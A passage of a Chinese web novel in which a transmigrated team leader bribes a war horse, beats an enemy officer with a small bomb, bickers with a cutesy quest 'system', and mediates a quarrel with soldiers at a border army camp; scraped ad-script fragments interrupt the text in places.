其实要说真正驯服,那的确没有,她真怕自己控制不住这匹马。 “林姑娘,跟我来吧。”顾寻风看着林清月,“现下帐篷还在收拾,天色已晚……各位若是不介意,可以先歇在我的帐篷,空间算是大。” 林清月疑惑:“那你?” “我自有地方去。” 林清月看了看高悬的月亮,顿时感觉到困意,顾寻风是本地人,自然比他们要熟悉,既然他说自己有地方睡,林清月也就不再推辞,应了下来。 确实很晚了,今天整个军营都累了一天,谁都没想到敌军竟然大晚上来打了一波,皆是被折腾得精疲力尽。 顾寻风坐在火堆旁,抱剑靠在树上,军营难得宁静,他也偏爱自然,不拘泥细节,睡在哪都是睡,他便就靠着这树干沉入了梦乡。 今夜格外安静。 许是都累坏了,除了巡逻值班的,也没什么人半夜不睡四处走动。 顾寻风的帐篷确实大,他们分了男女两波,男生自己铺了床睡在一边,女生睡在另一边,中间隔着屏风。 早上起来,大家都睡得横七竖八。林清月睡得浅,很早就醒了,彼时大家都还睡着,她便从锦囊中把洗漱用品取了一些出来,依男女分好,放在他们床头。 太阳刚冒出头,林清月已经用矿泉水在角落洗漱完了。 军营的人此时也陆陆续续醒了,回帐篷的路上,林清月碰到江奇云。 江奇云一看到她就臭着张脸,“你们的帐篷收拾好了,醒了就搬过去吧,别占着我们将军的帐篷了。” 他们将军都只能睡外面! 林清月其实不想理他,他态度就这个样子,但毕竟是寄人篱下,林清月还是回了句:“知道了。” 林清月回到帐篷的时候其他人已经醒了,等着他们去找地方洗漱的时间,林清月无聊,便在附近逛了逛。 不远处是训练场,早早便已经有刀刃破空声。 想着也是没事干,林清月走过去看了看,见顾寻风正在和江奇云对打。 当然,江奇云是被打的。 许是指导战吧。 林清月对这些没兴趣,看了一会儿就打算回去。 军营嘛,就是这样的,打打杀杀,不打仗的时候其实也还不错,就像湛亦说的,至少安全。 林清月动作很快,带着大家去分了帐篷,顾寻风给分了四个帐篷,也是大气。两兄弟自然是要一起,秦安肆想安静,和康日凑了一个,大家也一致同意让林清月一个人一个帐篷。 “别以为我不知道,你们就是不想跟我一起睡。” 秦安肆笑得狡黠:“我们这是给你更多的机会去跟顾寻风交流。” “这有什么必然的联系?”林清月懒得跟他们多讲,一个人就一个人,一个人多好。 不过说实话,她这帐篷还真就在顾寻风帐篷的斜对门,真挺适合去骚扰人家的。 几人各自去收拾,东西不多,林清月又懒,没一会就跑到训练场附近,找了个地方晒太阳去了。 顾寻风此时已经不参与他们的训练了,见她来了,便走到她身边坐下,林清月率先开口:“你的帐篷已经给你恢复原样了。” “谢谢。”顾寻风客气了一下。 过了一会儿,他状似不经意询问:“上回你们用来捣乱的东西,是什么?” 林清月双手撑在石头上,双脚一晃一晃,歪头看他,“怎么?” “好奇。” “不告诉你。” “……” 顾寻风看着训练场的方向,似乎是在思考还要如何开口。 晨曦的光打在他轮廓分明的脸上,衬得格外漂亮。 林清月怎么也想不通,一个男人是怎么生得如此漂亮的。 她挪了挪屁股凑近一些,“你想知道的话……也不是不行。” 顾寻风这才看向她,离得有些近,他下意识后倾了一些,随后问她:“你要什么?” 林清月望着他,笑靥如花:“这东西可要许多许多银钱呢。” 顾寻风眼神避了下,往旁边挪。 林清月还想说些什么。 此时江奇云边跑边喊:“将军!!” 顾寻风找到机会,立马从石头上跳了下去,江奇云说:“敌军元帅差人来要马了,现在就在城门。” “我去应对,你……带着林姑娘他们去瑾县那边接人,修军营。” 江奇云抗议:“我不要!我要跟将军一起!” 顾寻风没有理,丢下一句话:“明天陪你多练一个时辰。” 江奇云不敢抗议了。 几人会合,跟着江奇云走去瑾县,江奇云倒是想骑马,奈何他们当中还有不会骑马的,他怕这个领头的到时候跟将军告状说他抛下他们自己骑马跑了,只能牵着马跟着走了一段。 好在瑾县不远,快到的时候,江奇云上了马,“你们在瑾秀碑等我,往前走一会就到了,我把人带过来。” 林清月当然是任凭吩咐。 他们过来也就是被当做苦力,她都已经预料到了。 果然,江奇云带人过来,就把他们交给了那人,跟着那人去搬东西,到午时了,他们架着马扬长而去,林清月也懒得追,在瑾县慢悠悠吃了饭才走回去。 他们回去的时候,顾寻风已经解决了敌军派来的人。 见他们回来,顾寻风第一时间走到林清月面前。 顿了顿,他说:“明日,敌军会派一个将领过来。” 林清月疑惑:“跟我有什么关系?” 她还急着回去研究锦囊呢,挡她路干什么? 顾寻风答:“我说赤马已认主,他们不信。” 林清月懂了。 也麻了。 可是她其实没有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 完全驯服那匹赤马啊…… “行吧……”也只能硬着头皮应下。 他们事务繁忙,说完这些就直接走了。 而七人咋聚在林清月的帐篷内,围着锦囊,你一言我一语。 “这东西我们真的用不了吗?” 湛亦摊手:“我试过,什么都摸不出来,只能林清月才能摸出东西。” “不管怎么样,还是得等那个系统……”康日独自呢喃。 秦安肆冷静思索:“林清月,你知道这个锦囊是什么原理吗?为什么有时候会失灵?” “对啊,上次你变出一只狗,把我们都吓死了!”仲长椿似是想到了那时的场景,拍着胸口。 林清月看了眼在咬石头玩的小哈,耸肩,“我也不太明白,有时候我心中想什么,就会出现,但有时候又会失效,蹦出些奇奇怪怪的东西。” 康日说:“你试试呼唤系统?” 秦安肆想了想:“对,你试试。既然这锦囊给了你,说明一切都得靠你。” 林清月:“……” 又我?又试试? 没办法,那就试试呗。 最后,还是什么都没有研究出来。 林清月决定先解决眼下的事情。 明日,她到底该怎么糊弄那什么敌军的将领。 是夜,林清月熄了灯,等外头巡逻过了,溜到马厩中去,赤马被单独拴着,还挺好找的。 赤马跺脚,哼哼她。 “我知道这里臭,你等等哈。”林清月从锦囊中掏出一包上等马粮,倒在了赤马面前,“我给你带好吃的了。” 赤马消停了一会,低头嗅了嗅,大快朵颐吃起来。 林清月抬手摸摸赤马脑袋,见赤马没反抗,于是边顺毛边开口:“赤赤啊,既然吃了好东西,明日,再让我骑一下怎么样?” 赤马顿时甩了甩脑袋,脚一跺,表达了自己的不满。 “……我以后每天都给你吃!” 赤马咂咂嘴,不吃了,也不理她。 林清月看了看四周,见四下无人,她真诚的看着赤马,笃定说:“我可以带你离开这里,前提是,你配合我。” 赤马似乎心动了。 林清月双眼放光,继续:“我一定不会抛弃你的!你看我对小哈都不离不弃的,又怎么会抛弃你自己跑了?只要你这段时间都配合我,我保证,等我离……” “你在这里做什么?” 忽然,一个声音冷不丁响起。 林清月吓了一个大跳。 “谁啊?!”她回头,看见是顾寻风,“你怎么大半夜不睡觉?” 吓得她心脏都要跳出来了。 顾寻风冷眼看着她,什么都没说,又好像什么都说了,林清月讪笑两声,还没解释,顾寻风先回答了她的问题:“做梦,醒了。” 林清月抓住机会,转移话题:“做噩梦?” 她走到顾寻风面前,笑意盈盈:“你居然还因为做噩梦失眠了?” 顾寻风不置可否,没有说话,只是直直的看着她。 本来她就是来偷偷贿赂这赤马,不管怎么说,还是有些心虚的,被盯得十分不自然,“……怎么了,我脸上有什么东西?你还没说,你大半夜不继续去睡觉,来马厩做什么?” 顾寻风没有挪开眼神。 黑夜中,他的红衣格外显眼,明亮的眼睛看着她。 然后,他居然笑了。 “看见你在这里,来找你。” 9. 系统再现 …… 等等。 气氛有点不对啊。 这家伙突然笑什么? 像这种心思琢磨不透的大佬不都是不苟言笑的吗? 林清月试探性问:“那你……来多久了?” 顾寻风说:“刚来。” 说着,顾寻风走到了赤马面前,看着林清月刚刚倒出来的马粮,他指了指马粮,略显好奇,“这个是马吃的?你从哪里来的?” 林清月见他主动挑起话题,马上反问回去:“想知道啊。” 顾寻风双手抱胸,一转身靠在了一旁的柱子上,居高临下,“要银钱?” 林清月笑看着他,笑意不达眼底:“堂堂大将军,总不可能没钱吧。” 但顾寻风居然毫不掩饰的说:“真没有。” “……” “家中世代是文官,长辈们原想要我跟兄长们一样,也去做个文官,但我不肯,跑来做将军,没有家里接济,我还挺穷的。” 哦,为了梦想跟家里闹掰了啊。 这顾寻风还挺叛逆的。 跟她像。 “我欣赏你。”林清月点头,下一秒又说:“但是,我也穷,你要从我这拿东西,那没有银钱绝对不行。” 顾寻风的手指在手臂上一点一点,在思索。 那毁了他军营许多设施的东西实在令他心动,但…… “银钱给不了。” 林清月摆摆手,“那没得谈。” 顾寻风却立马转口:“不过,我可以帮你在瑾县做生意。” 他嘴角带着笑意:“你靠我赚得银钱,总要给我报酬。我就要你那日毁我军营的东西。” 林清月想想,不亏啊。 她手中能卖出去的东西不少,而且按照这里的落后程度,都能卖不少银钱出去,可赚了。 若还有大将军引荐,不仅不亏,细细算来还挺赚的。 此时,顾寻风又开口了:“不过明日……” 林清月脑瓜子一转,立马意会:“我知道,这赤马我早就驯服了,明日当然会好好表现……你说是吧,赤赤?” 她看向偷摸又开始吃粮的赤马。 赤马抬头装作没在吃,哼了一声。 林清月摸摸它脑袋,“你看,多听话。” 赤马没反抗,她也安心了。 于是顾寻风点头,两人一起走回了帐篷,只是奇怪得很,在要回帐篷的时候,顾寻风忽然问她:“以后做噩梦了,还能来找你吗?” 林清月不解:“找我干嘛啊?” 顾寻风:“我做噩梦次数不多的。” 林清月:“……好吧。” 虽然不理解,但也不是坏事,多看看帅哥,有利于身心健康。 今夜没有那么宁静,林清月本来就睡得浅,容易被吵醒,醒得更早了,早上起来洗漱,满脸都是不高兴。 顾寻风也起得早,她远远就看见少年一身红衣在训练场练剑,无事可做,便走过去,坐在石头上看着,两人没有说一句话,顾寻风甚至没有多看她一眼,练得格外专心。 直到旭日初升,军营渐渐热闹起来,顾寻风才收了剑。 他径直走到林清月面前,“我带你去牵马。其余人,我会安排他们去帮忙修军营。” “这么快?” “距离约定时间还有一个半时辰,你可以先跟自己的马熟悉熟悉,只怕到时候闻到熟悉的气息,它会躁动。” 林清月意识到问题的严重性,一路到马厩,走在赤马边上牵着缰绳,故意落在后头,悄悄摸摸赤马,说:“赤赤,你一会儿不会甩下我的吧?我把我整个人都交给你了啊,我这么信任你……” 赤马甩了甩脑袋。 林清月忐忑不安,这赤马性子是真傲,简直比她还要傲,她至少还知道审时度势,这赤马简直就是想一出是一出。 也不知道当初敌军那将领是怎么驯服的。 佩服啊。 “林……姑娘。”前方,顾寻风喊了她一声。 林清月赶忙快步跟上,“不要催,我在走了!” 顾寻风顿了顿说:“没催。” “那还是我冤枉你了?”林清月一想到昨晚上他莫名其妙的,就好气,怎么那时候自己还答应了? 美色误人! 顾寻风侧眸睨她一眼,“嗯。” 林清月:“?” 几个意思? 但顾寻风显然没打算在这个问题上跟她多说,没等她再说些什么,就率先说话:“一会你跟着我去城门等那边将领过来,一切听我的。” “哦。”她又不是傻子。 这种时候,她自然不会乱做什么其他的事情,两军交涉,危险得很,她还想活着的。 林清月也懒得跟他计较些有的没的。 一路到了城门,江奇云吩咐士兵打开城门,此时城门外的沙场还是一片空旷,林清月牵马走出去,跟在顾寻风身边,等出了城门,才摸摸赤马安抚,骑了上去。 不消片刻,敌方军队前来。 顾寻风今日依旧没有穿盔甲,骑着自己黑色的马儿,在军队最前方。 敌方将领一抬手,军队停止行进,“顾大将军,好久不见。” 林清月感叹,这顾寻风还真是出名啊,感觉只要是个人都认识他。 顾寻风就在她前方,敌方那将领眼神顺着顾寻风,就看到了她这里,见她骑着赤马,嗤笑一声:“一个弱女子,怎么还敢来沙场作战?” 顾寻风冷声:“没人说过今日要作战。” 敌方将领握着手中的长柄大刀,骑马上前,“不骑马来打一场,我怎么信这赤马就被你们驯服了?” 当初,他们可是花了好多钱财和精力才喂好这匹马,还专门给他搭了个棚子住着,日日哄着它,怎么可能这么轻易就让出去? 如今这破马竟让一个女子去骑,他怎么都不服。 敌方将领的刀刃指着林清月,“出来一战!” …… 战屁啊。 她不会战!! 林清月望向顾寻风—— 你说句话啊? 顾寻风捏着缰绳,挡在林清月面前,声色凌冽:“昨日可没说用什么方法来证明,我们和平多年,不至于为此开战,你该知道,我若出手,便是开战。” “我又不要你跟我打!”之前那个将领蠢货一个,他又不蠢。 他哪打得过! “且不说这赤马本来就是我们的,你们杀了我们一个将领,本就是在挑衅!如今又抢走我们的马,分明是你们在想开战!” “这马自己来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的。”顾寻风睁着眼睛说瞎话,“你自己看看,人家有想过去你们那边吗?” 敌方将领愤然:“一匹马懂什么?还不都是你们生拉硬拽,说不定还贿赂了的!” 顾寻风:“……” 林清月:“……” 片刻后,顾寻风说:“人不是我们杀的。” 敌方将领:“他是死在你们营地前面!” 林清月忍不住了,反驳:“明明是他自己菜,竟然被一只野狗咬死了,简直笑死人。” 江奇云在旁边笑出了声,终于是跟她同一战线:“是啊。” 敌方将领气得不行,开口大骂:“狗男女,合起伙欺负人是吧?赶紧把我们的马还回来!” 江奇云被激怒了:“你敢这么说我们将军?!” 林清月乖乖缩在顾寻风后面看好戏,还有空问顾寻风:“你怎么不生气?他这么造谣你,到时候我们真成一对了那可怎么办?” 顾寻风有些奇怪的看着她:“我又不喜欢你,怎么会成一对?” 林清月:“……重点是这个吗?重点是他造谣你啊!” 这人怎么有时候傻里傻气的。 “哦,我的谣言多了去了,不缺这一个。”顾寻风云淡风轻解释。 林清月明了,这还是个黑红的。 “那……” 【发布任务:请宿主帮助军营夺得赤兔马,打败敌方将领。】 ? 林清月深吸口气,看着对方那魁梧的身材。 她在心里呐喊:“你等一下,你不要走啊!你说清楚,你是让我,打败他?” 系统音没再回答。 “你说话啊!!!” 林清月崩溃了。 顾寻风一回头,就看到她一副心如死灰的表情。 “……林姑娘?” “让我跟他打吧。”林清月盯着那个身材魁梧的敌方将领,又看了看自己瘦小的身躯,咬咬牙。 “将军,你想不想要看看我的炸弹,在战斗中,能有什么用?” 顾寻风挑眉,趁着江奇云还在和对方吵架的空挡,问她:“你有办法对付他?你有什么计划?” 林清月哼一声:“本来我也没打算帮你们,我这是看你可怜,帮你去澄清一下谣言算了。至于计划……你看着就好了,我自有分寸。” 顾寻风不明意味地笑了笑,让到一边,让她上前,看好戏一样,但还是说:“若有危险,我会在后面接应你。” 林清月此时此刻已经彻底麻了,她扯了扯缰绳,赤马竟还挺听话,提着步子慢悠悠上前,一路行至中央,争吵声已然停止。 敌方将领上下打量着她,知晓她是应战了,问:“你的武器呢?” 林清月呵呵一声:“不需要。” 倒不是她想要这么狂,是她真没有什么武器。 也不是她想要这么冷,是她的心真的已经死了。 现在只希望这锦囊能给力。 对方笑了,笑得很大声:“真是个狂妄自大的女人,不愧是顾大将军的相好,脾气也是这么差……” 林清月拔高音量:“首先,我不是他的相好,你不要再造谣!” 她深吸口气,咬牙切齿。 “其次,废话这么多,是怕我了,不想打了吗?” 10. 卖萌系统 “小丫头片子!”敌军将领被激起了斗志,当即抡起大刀砍过来。 林清月看似冷静,实则心里已经冻成冰了。 她抬头看着大刀。 平静勒了下缰绳。 只看这赤马究竟有没有被她贿赂成功,听不听话了,如果还是不听话那只能裂开了啊。 啊啊啊!!! 大刀距离她的脑袋只有几厘米的距离。 赤马漫不经心挪了挪步子,正好助它避过这个攻击。 耳边是刀刃的破空声。 林清月抓紧机会,迅速掏出一枚小炸弹,趁着二人交错之时,对准对方最薄弱的地方,把炸弹丢了过去。 小炸弹虽然威力不大,但对于那个最薄弱的地方,足以造成重创,重创不行,微创也行。而且因为威力不大,所以爆炸准备时间并不长,依照林清月的推理,对方根本来不及反应的。 这个敌方将领似乎还有些本事,看到她的小动作,提前就准备避开了,但有准备,准备却不充分。 炸弹还是在那附近炸开了。 敌方将领在感觉到不对劲的一瞬间,就准备直接下马躲避,小炸弹离得太近,他受到余波的影响,在地上翻滚了几下才稳住。而赤马异常敏锐,早就载着林清月躲得远远的了。 “什么东西?”敌方将领有些气恼,“你竟然耍这些小手段!” 竟然……竟然想让他断子绝孙! 林清月骑着赤马,是和赤马一样的神情,居高临下,威风凛凛,语气高傲:“攻击敌人最薄弱的地方,才是制胜关键。你不懂吗?” 敌方将领气炸:“你这叫耍诈!” “哦。” 林清月懒得跟他争辩,在刚刚他掉下马的一瞬间,她脑海中系统又出现了。 【恭喜宿主完成任务,烟火大传承任务进度5%】 林清月骑马往回走,敌方将领再气愤,也不能再做什么,毕竟距离太近,他确实受到了点影响,不敢乱动……只能在被人扶起来后与嘲笑他的江奇云对骂。 此时,林清月正在和系统交谈。 终于让她逮到了这个系统! ‘你说清楚再走!烟火大传承任务是什么鬼啊,你都不跟我讲一下?’ 【宿主稍安勿躁。】 ‘?’ 好有人机感的系统啊。 刚想继续问,忽然,她脑海中热闹了起来。 先是秦安肆清冷的声音:“你完成任务了?” 再是仲长湫激动的声音:“队长好厉害!” 然后是湛亦无语的声音:“你最好快点回来,那边几个已经吵得不可开交了。” ? 林清月脑袋要炸了。 她理了理思绪,努力消化他们的话:“等等等等!我刚解决完那个将领,现在你们那边是什么情况,跟士兵吵起来了吗?还有为什么我们现在可以听到彼此的声音?” 秦安肆说:“那个系统只回了你的话,你联系一下,我们先去劝架了。” 湛亦:“对啊它压根都不鸟我们,至于为什么能听到说话,我也不清楚,你自己去问系统咯。” 林清月:“……” 没办法,他们两军还在交涉,暂时也回不去,林清月便就躲在顾寻风后面独自跟系统斗智斗勇。 ‘你究竟是个什么东西?’ 【系统会按照宿主进度发布任务,鉴于任务难度为sssss,允许同伴参与哦~】 ‘是你把我们搞过来的?你先前为什么一直不现身?’ 林清月憋了一肚子的问题,恨不得一下子全问出来。 【请宿主稍~安~勿~躁~】 林清月:? 有毒吧。 迟早有一天她要把这个系统抓住暴揍一顿! 现下林清月没时间跟它闹,问了最关键的问题:“这个什么烟火传承任务是怎么回事?” 末了,咬牙切齿加一句:“你最好是给我好好回答。” 再阴阳怪气一句试试呢。 系统认真的机械音接着传入耳中。 【亲爱的宿主,正式介绍一下,我是系统666,宿主本次行程正式开启,只要完成派发下的大传承任务,有概率激活最终任务回到原世界。】 ‘有概率?’ 【温馨提示:在面对分叉路时,还请谨慎选择哦~】 ‘……’ 林清月尽力保持冷静。 ‘来,我们来捋一下。现在的意思就是,我现在的任务就是完成你派发下来的大传承任务,这名字我大概明白是什么意思……但我还是要问一下,完成任务的标准是什么?’ 【没有判定界限嗷~】 ‘不许卖萌!’ 【报告宿主,大传承任务没有严格的判定界限,系统会根据宿主的进度发布分支任务,分支任务完成即可增加大传承任务的进度。】 也就是说,选择权其实还是在她的手里……嗯?不对!那刚刚那个任务…… ‘所以说,你刚刚是故意为难我吗?我怎么可能打得过他啊,一点差错就会死啊!’ 系统的机械音变得可怜兮兮。 【怎么会呢,666最喜欢宿主了,宿主为什么要这么想666,呜呜呜呜……】 林清月忍无可忍,见敌方将领已经带兵撤退,跟系统最后说了句:“老六,以后能不能别搞失踪?” 系统持续卖萌。 【666知道啦~】 敌军已经撤退下去,顾寻风也让江奇云带兵退回城门,而他则扯着缰绳来到林清月身侧,无比好奇开口:“你那个东西,可否再让我看看?” 林清月回神看他,狡黠一笑:“将军打算拿什么交换?” 顾寻风强调:“只是看一眼。” “赤赤,走。”林清月扯着缰绳打算离去,赤马看起来也不想跟别的马距离太近,立马转身往城门那走。 顾寻风想了想,跟上来:“林姑娘想要什么?” “钱。” “没有。” “没得谈。” 之前不是都说过了,这顾寻风怎么还要问?人的记忆不该,也不能差到这种地步吧…… 这么想着,林清月试探性问:“你还记得我们的约定吗?” 顾寻风一顿,颇为认真说:“林姑娘,我没有其他的冒犯的意思,我只是对你手中的东西感兴趣,对你的人没意思。” 林清月怎么听怎么觉得这话让人不舒服,皱眉看向他,语气不满:“你忘记昨天晚上你说的话了?还是说,你就是说着玩玩的?” 顾寻风彻底僵住了。 林清月持续输出:“你这人简直是不可理喻跟你说过的事一忘再忘……” 说着,她忽然又想起什么,转头紧盯着顾寻风:“我问你,我叫什么名字?” 顾寻风有些茫然,眼神透露出了一丝紧张,“啊。” 林清月眯眼:“嗯?” “……林阿梅?” “欸你这个人真是!”林清月火冒三丈,“我再说一遍,我叫林清月,林清月!你现在,给我重复一遍!” 顾寻风的马都不自觉挪远了几步。 顾寻风脑子也有些乱,被她带着走,立马开口:“林清月。” “……”林清月在努力忍着不动手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 顾寻风避开她的眼神,又说:“是你问我的啊。”说了你又不高兴。 眼看着对方又要发火了,顾寻风赶忙继续解释:“或许是昨晚做梦了的原因,每次这个时候我都会这样,平常不会连这些事都记不住的……林姑娘可否告诉我,昨晚我说了什么?” 林清月盯着他,见他脸色有些红,不知是急的还是什么。 看林清月没回答,他小心翼翼再次问:“我们昨晚……发生了什么吗?” 见他越来越慌,林清月忽然不想说清楚,她的唇角微不可查勾起一抹笑,故作失落说:“你居然连这都记不住……” 说完林清月就下马,一副不打算给他解释机会的样子。 顾寻风果然跟了上来,马都没栓,还是江奇云挠着头去把马安顿好的。 “林姑娘……” 他第一次这么懊恼自己这个毛病,追着脚步加快的林清月,还想问清楚。 但林清月没等他,脑海中在尝试联系系统。 ‘老六,在不在?’ 【宿主~~】 林清月忽略它的语气,直奔主题说:‘帮我联系我的队员。’ 下一秒,脑海中就“叮”了一声。 林清月:“我回来了家人们,你们现在在哪?” 沉默片刻后,他们异口同声:“训练场。” …… 林清月赶到训练场的时候,湛亦已经在跟士兵打架了,而他们接来修军营的瑾县居民正在一旁努力劝架。 仲长椿还喊着“加油”,被瑾县居民一按再按。 就连平日最跟湛亦不对付,又话少的康日都在给湛亦递武器。 “……不是,这?”林清月着实没想到会变成现在这样。 怎么还打起来了? 唯一没参与的秦安肆走了过来,手上还抓着气鼓鼓的仲长湫,“你跟队长解释。” 一看到林清月走来,仲长湫就挣开秦安肆的手跑了过去,跟她控诉:“队长,实在不行我们还是跑吧,这地方构造原本就有大问题,先别说如果敌方大举进攻能不能抵御住,如果运气不好碰上天灾是绝对得完蛋!” 听了这些话,林清月下意识看向一路跟过来的顾寻风。 顾寻风自然是老远就看到了他们打架,听了仲长湫说的,也只是微微挑眉,没发表什么意见。 他走到武器架旁,拿起一杆枪就扔往训练场中央,正好插在那打架的两人中间。 “将军!”那个士兵看到他像看到了救星,他还有些打不过这姑娘! 紧接着,士兵就开始控诉,指着他们一群人:“将军,他们要拆了我们军营!” 顾寻风拿剑柄抵住他脑袋没让他再靠近,“站定。” 士兵依言站住,站得直挺挺的。 “我说的都是真的将军,我们都没说他们干一会休息一会的,他们倒还口出狂言,不仅诅咒我们都死光,还说要拆了我们军营!” 湛亦脾气上来了,语气也很冲:“你怎么说话呢?最开始不是你们冤枉人,我们迫不得已才炸军营逃走,再说了也没给你们都炸掉啊!我们帮忙那是我们大肚,休息会儿还需要你说?” “一群臭屁男人真会装!” 他们吵起来了,或许是碍于顾寻风那一杆的威慑力,也没再打。 林清月看了眼对方,示意让他先上。 似乎是想着他们之前还有些未解释清楚的事,顾寻风居然格外听话。 他冰冷冷的话语横插一脚进去:“谁先打的?” 他们互相指着对方:“他!” “……” 双方剑拔弩张。 11. 拳打士兵 林清月终于想起来,之前在城墙上,康日就说过以后必须得走,当然没问出原因,也没人当回事,如今挺好,直接吵起来了。 趁着顾寻风在前面询问自家士兵,林清月也赶忙拉着康日问:“这地方构造真的那么不好?得全部拆了重建吗?” 康日一脸认真:“这边地势本就是那种易攻难守的,地势太过平坦……若两方和平倒还好,但队长你刚刚是不是惹了敌方将领?我们还夺了人家的马。” 林清月想到刚刚她那个夺笋的取胜方法,心下一紧。 这时康日指了指在帮湛亦对骂的仲长椿,“你知道他在这方面很敏锐,这儿地形本就不好,如果军营还是如此破烂不堪又完全没有遮蔽物,怎么防御进攻?” 秦安肆也思虑着说:“我觉得我们还是想办法,随时准备离开这里……” 林清月点点头表示同意。 这儿本就地形不好,看起来又是边边角的地方,无人管辖,来个大将军又有什么用?能抵千军万马吗? 他们是外来者,这些士兵不会相信他们。 但…… 要走?现在也不是时候。 “我刚刚和系统联系过,我打算先做完一个大传承任务再走,在这里更好完成那个大传承……况且,我现在已经想到办法应对那个将军了。”说着,林清月看向顾寻风,顾寻风此时还在劝架。 秦安肆好奇:“难不成是你打败了那边将领,他被你的英姿折服了?” 林清月拿起拳头给他一拳,“什么鬼?别乱说话行不行。” “那是什么。”秦安肆拍了拍被她接触过的衣服。 “我自有计划。” “切。” 其实顾寻风太不擅长劝架了,他从来都不会说话,这点所有人都跟他说过。 除了江奇云,几乎每个人都被他气得半死过,也正是因此,他才会和家里走到如今这般不相往来的地步。 怕是若没有像及冠那样必须回去的时候,他多半是不会再归家了。 但也要两年才及冠…… “你,先说。”顾寻风一个头两个大,他实在不擅长应对,但他当真不知道昨夜是不是做了什么对不起林姑娘的事,总是心下不安,只能先照着做。 他指着一个士兵,“说说事情来龙去脉,为何会吵起来?” 提起这个,那个士兵一下子就激动了:“是他们先说什么要走,我们只是挽留了几句,谁知道他们就直接咒我们全死光!这谁受得了啊?将军,你可不能被那边的妖女迷惑了,是他们先挑衅的!” 林清月本来还在看戏,思索着对策,但无奈,耳朵精准捕捉到对方似乎说她是妖女。 她炸毛跳起:“你说谁是妖女?!” 得亏秦安肆反应快拉住,她才没冲出去,不过,袖子已经撸起来了。 秦安肆叹着气有些心累:“冷静。” 林清月指着对方:“他说我是妖女啊!” “……” 秦安肆选择放手。 算了,队长有她自己的想法。 没了人拉着,林清月一下就冲了上去,因为顾寻风还在旁边,士兵没反抗,直接被她揪着衣领踉跄一下。 “你刚刚说什么?说我是妖女是吗?就你?” “你不是吗?!谁不知道你天天刻意接近我们将军,日日显摆那些不知道哪儿来的东西,不就是为了吸引我们将军注意力!” 林清月呵呵一笑,火气上来了,逐渐口无遮拦:“我才来几天啊,就天天?我看湛亦还是打少了,你们这群东西就该天天都揍一遍,让你们知道,谁才是真正的爹!” 语毕,林清月已经握好了拳头,照着对方脸上就来了一拳,同时另一只手松开对方衣领。 就这样,士兵直接被一拳锤倒在地上。 林清月揉着手腕嘟哝:“手都打脏了,晦气。” 那士兵捂着脸坐起来,随即开始哭诉:“将军你看他啊!还打人!” 林清月:“……” 这军营里都是些什么人啊?一个个的怎么都跟小怨妇一样! 林清月表示。 学到了。 她下一秒就拉住顾寻风衣袖,可怜兮兮:“他也不还手啊,他若是还手,我怎么可能打得过他?我只是一个弱女子啊,顾寻风……” 顾寻风:“……” 士兵一下子爬了起来:“你学我!” 林清月:“呜呜呜呜。”谁还不会告状了似的,显得你了。 顾寻风抽出自己的衣袖,“别说些有些没的了,谁动手在先谁道歉……” 此时他脑子已经快要炸了。 半年不见,这军营里的人怎么都变成这样了啊?怎么学会了这样告状? 而林清月自然是不可能就此示弱,见顾寻风打算公事公办,脑瓜子一转,就扑过去,把头埋下去“哭唧唧”的。 “他先骂我的呀。”紧接着,在顾寻风要把她推开之前,她率先压低声音开口,“你也不想昨晚的事情……” 话还没说完,她就感觉到对方抗拒的力道小了许多。 “李弛,自己去找副将领罚。”顾寻风看过去,顿了顿,“杖责三十。” 刚被打的李驰震惊且受伤:“???将军?” 见此,林清月暗爽,假装哭泣,继续跟顾寻风说话:“你让参与这件事的人都出来,我们找个地方安安静静谈一下——这样可好啊,将军?” 顾寻风想了想,觉得她说得对,在这个训练的地方,大太阳晒着,大家都心浮气躁,怎么可能好好说话呢。 于是他当即扫视一圈:“这件事都有谁参与的,自己站出来。” 顾寻风在军营是格外有话语权的,此话一出,士兵们看出来了,他们将军真的……真的被妖女迷惑了!所以他们一气之下都站了出来,打算好好跟他们将军说说。 见他们都站出来,顾寻风满意点头:“都跟我过来。” 刚准备走,发现还有个人挡在自己身前,他也压低声音:“麻烦姑娘让一下。” 林清月仰头看他一眼,“不让。” 随后,不给顾寻风反应的机会,拉着他手臂就往前走,嘴里还在继续说话:“你们平常商议军事的地方在哪?我们去那里谈,到时候你还是不要说话了,我来谈。” 顾寻风最开始被她拉着走,走了几步便很快调整过来,就像是被她挽着一样。他没察觉,认真颔首:“好,那就听你的。” 林清月乐滋滋:“好听话啊,将军。” “……” 顾寻风无言,指引着方向。 一行人很快到了营帐内,林清月找来水杯,给每个人面前都放了一杯水,“来来来先喝口水,大家今日都辛苦了。” 士兵们不屑一顾,不过是看到顾寻风的面子上,没有当场掀桌。 “假惺惺什么?” “就是,这次的事情就是你们先挑起的,这还有什么好说的。” “害得李驰还去领罚了!” 几人均是愤愤不平,瞧着这些外来人就气不打一处来。 林清月默默观察着他们,此时语气也冷静下来:“我瞧各位都是有些正气在身上,看着服饰当是有些职位,有些号召力,跟过来怕不只是为了在这打抱不平吧?” 参与进来的肯定不止这些,只不过这些人看她不顺眼,所以来了些有话语权的,怕是想直接定了她这个妖女。 其中一人冷哼:“想说什么就直说,何必拐弯抹角!” 啪的一声,林清月双手撑在桌上,发丝顺着肩头落下,原本被挽到耳后的刘海随之落了几根在脸颊两侧。 “我说了,各位未必会听啊,毕竟我可是妖女,再怎么解释,大人们也只会觉得我该死,不是吗?” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >顾寻风原本是乖乖不参与的,抱剑靠在一旁,乍一听说有人要她死,忽的皱眉看了他们一眼,跟着反问:“是吗?” 他有些事情都还没弄清楚,怎么就能让她死了?绝对不行啊。 他必须保她的。 顾寻风的话如同寒风一般传来,士兵们都觉得脊背一凉。 还是先不能硬碰硬啊…… 他们硬是将妖女二字咽回去:“你这……姑娘,我们都好好说话可以吧,但此事缘由确实是你们而起,你可以问问你的同伴们。” 不等她问,秦安肆早就梳理好了事情起末,开始讲述。 “最开始,是我们发现此处平原地势,易攻难守,我们是外来人又没有武力,自然会害怕,所以提议修改军营……” 士兵语气还是难掩激动:“你们分明是说要把军营拆了!” 